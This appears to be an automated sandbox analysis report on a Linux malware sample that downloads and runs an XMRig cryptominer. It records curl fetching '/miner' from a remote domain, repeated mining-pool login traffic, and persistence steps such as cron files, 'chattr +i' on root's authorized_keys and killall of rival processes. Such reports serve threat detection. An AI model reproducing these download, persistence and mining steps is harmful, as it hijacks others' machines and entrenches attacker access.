Source: global traffic	TCP traffic: 192.168.2.14:48912 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48916 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48918 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48920 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48922 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48924 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48928 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48930 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48932 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48936 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48938 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48942 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48944 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48946 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48948 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.
Source: global traffic	TCP traffic: 192.168.2.14:48950 -> 176.32.39.18:3334 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"hvxydzfahri5zxomny3d5g8jvzxqgqjauz3xqn5iuzvsqzb7j13zkqt9movi2lmtrqapp2kuutknbxhnrdthxpza89ghhxcwfj","pass":"x","agent":"xmrig/6.18.0 (linux x86_64) libuv/1.42.1-dev gcc/11.2.0","algo":["cn-heavy/xhv","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/ccx","cn-heavy/0","cn-heavy/tube","cn/1","rx/0","rx/wow","rx/arq","rx/graft","rx/sfx","rx/keva","argon2/chukwa","argon2/chukwav2","argon2/ninja"]}}.

Found strings related to Crypto-Mining

Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: stratum+ssl://randomx.xmrig.com:443
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: cryptonight/0
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: stratum+tcp://
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: /tmp/.miner (PID: 5686)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/die_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/package_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/physical_package_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/die_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/package_cpus	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/physical_package_id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/shared_cpu_map	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/level	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/type	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/id	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/coherency_line_size	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/number_of_sets	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/physical_line_partition	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads CPU info from /sys: /sys/devices/system/cpu/possible	Jump to behavior

Source: global traffic

TCP traffic: 192.168.2.14:48878 -> 176.32.39.18:3334

Source: /usr/bin/curl (PID: 5680)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/.miner (PID: 5686)	Reads hosts file: /etc/hosts	Jump to behavior
Source: /tmp/.miner (PID: 5689)	Reads hosts file: /etc/hosts	Jump to behavior

Source: global traffic

HTTP traffic detected: GET /miner HTTP/1.1Host: w.softprojectcode.comUser-Agent: curl/7.68.0Accept: */*

Source: global traffic	DNS traffic detected: DNS query: w.softprojectcode.com
Source: global traffic	DNS traffic detected: DNS query: o.softgoldinformation.com
Source: global traffic	DNS traffic detected: DNS query: o4.softgoldinformation.com
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: gif.elf, .miner.94.dr	String found in binary or memory: http://upx.sf.net
Source: gif.elf, 5640.1.0000000000400000.000000000040c000.r-x.sdmp	String found in binary or memory: http://w.softprojectcode.com/%s
Source: gif.elf, 5640.1.0000000000400000.000000000040c000.r-x.sdmp	String found in binary or memory: http://w.softprojectcode.com/miner
Source: gif.elf, 5640.1.0000000000400000.000000000040c000.r-x.sdmp, watch.48.dr, watch.50.dr	String found in binary or memory: http://z.shavsl.com/b
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: https://gcc.gnu.org/bugs
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: https://gcc.gnu.org/bugsNSt7__cxx1115basic_stringbufIcSt11char_traitsIcESaIcEEENSt7__cxx1119basic_is
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: https://xmrig.com/wizard
Source: sh, 5686.1.0000000000400000.0000000000886000.r-x.sdmp, .miner, 5686.1.0000000000400000.0000000000886000.r-x.sdmp	String found in binary or memory: https://xmrig.com/wizard%s

System Summary

Malicious sample detected (through community Yara rule)

Source: 5686.1.0000000000400000.0000000000886000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f Author: unknown
Source: 5686.1.0000000000400000.0000000000886000.r-x.sdmp, type: MEMORY	Matched rule: Detects XMRig ELF Author: Sekoia.io

Source: LOAD without section mappings

Program segment: 0x400000

Source: 5686.1.0000000000400000.0000000000886000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Pornoasset_927f314f reference_sample = d653598df857535c354ba21d96358d4767d6ada137ee32ce5eb4972363b35f93, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Pornoasset, fingerprint = 7214d3132fc606482e3f6236d291082a3abc0359c80255048045dba6e60ec7bf, id = 927f314f-2cbb-4f87-b75c-9aa5ef758599, last_modified = 2021-09-16
Source: 5686.1.0000000000400000.0000000000886000.r-x.sdmp, type: MEMORY	Matched rule: miner_lin_xmrig_strings author = Sekoia.io, description = Detects XMRig ELF, creation_date = 2022-09-08, classification = TLP:CLEAR, version = 1.0, modification_date = 2024-01-04, id = 2f99020b-424c-4433-860c-5e9ab4e1f1de

Source: classification engine

Classification label: mal100.troj.evad.mine.linELF@0/10@12/0

Data Obfuscation

Sample is packed with UPX

Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Info: This file is packed with the UPX executable packer http://upx.sf.net $
Source: initial sample	String containing UPX found: $Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $

Persistence and Installation Behavior

Protects files from modification

Source: /bin/sh (PID: 5646)	Args: chattr +i /root/.ssh/authorized_keys2	Jump to behavior
Source: /bin/sh (PID: 5660)	Args: chattr +i /etc/cron.d/watch	Jump to behavior
Source: /bin/sh (PID: 5666)	Args: chattr +i /etc/cron.hourly/prelink	Jump to behavior
Source: /bin/sh (PID: 5672)	Args: chattr +i /root/.ssh/authorized_keys	Jump to behavior
Source: /bin/sh (PID: 5678)	Args: chattr +i /root/.ssh/authorized_keys2	Jump to behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/.miner (PID: 5686)

File: /proc/5686/mounts

Jump to behavior

Sample tries to persist itself using cron

Source: /bin/sh (PID: 5657)	File: /etc/cron.d/watch	Jump to behavior
Source: /bin/sh (PID: 5658)	File: /etc/cron.d/watch	Jump to behavior
Source: /bin/sh (PID: 5661)	File: /etc/cron.hourly/prelink	Jump to behavior
Source: /bin/sh (PID: 5662)	File: /etc/cron.hourly/prelink	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /usr/bin/chmod (PID: 5664)

File: /etc/cron.hourly/prelink (bits: - usr: rx grp: rx all: rwx)

Jump to behavior

Terminates several processes with shell command 'killall'

Source: /bin/sh (PID: 5736)

Killall command executed: killall .sshd xrig getty

Jump to behavior

Source: /tmp/gif.elf (PID: 5640)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5642)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5642)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5648)	Directory: /etc/cron.d/.placeholder	Jump to behavior
Source: /usr/bin/chattr (PID: 5652)	Directory: /var/spool/cron/atjobs/.SEQ	Jump to behavior
Source: /usr/bin/chattr (PID: 5656)	Directory: /etc/cron.hourly/.placeholder	Jump to behavior
Source: /usr/bin/chattr (PID: 5668)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5668)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5674)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/chattr (PID: 5674)	Directory: /root/.ssh	Jump to behavior
Source: /usr/bin/curl (PID: 5680)	Directory: /root/.curlrc	Jump to behavior
Source: /usr/bin/curl (PID: 5680)	File: /tmp/.miner	Jump to behavior

Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3880/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3760/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3761/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1583/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/2672/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/110/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/3759/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/111/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/112/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/113/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/234/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/1577/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/114/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/235/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/115/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/116/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/117/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/118/stat	Jump to behavior
Source: /usr/bin/killall (PID: 5736)	File opened: /proc/119/stat	Jump to behavior
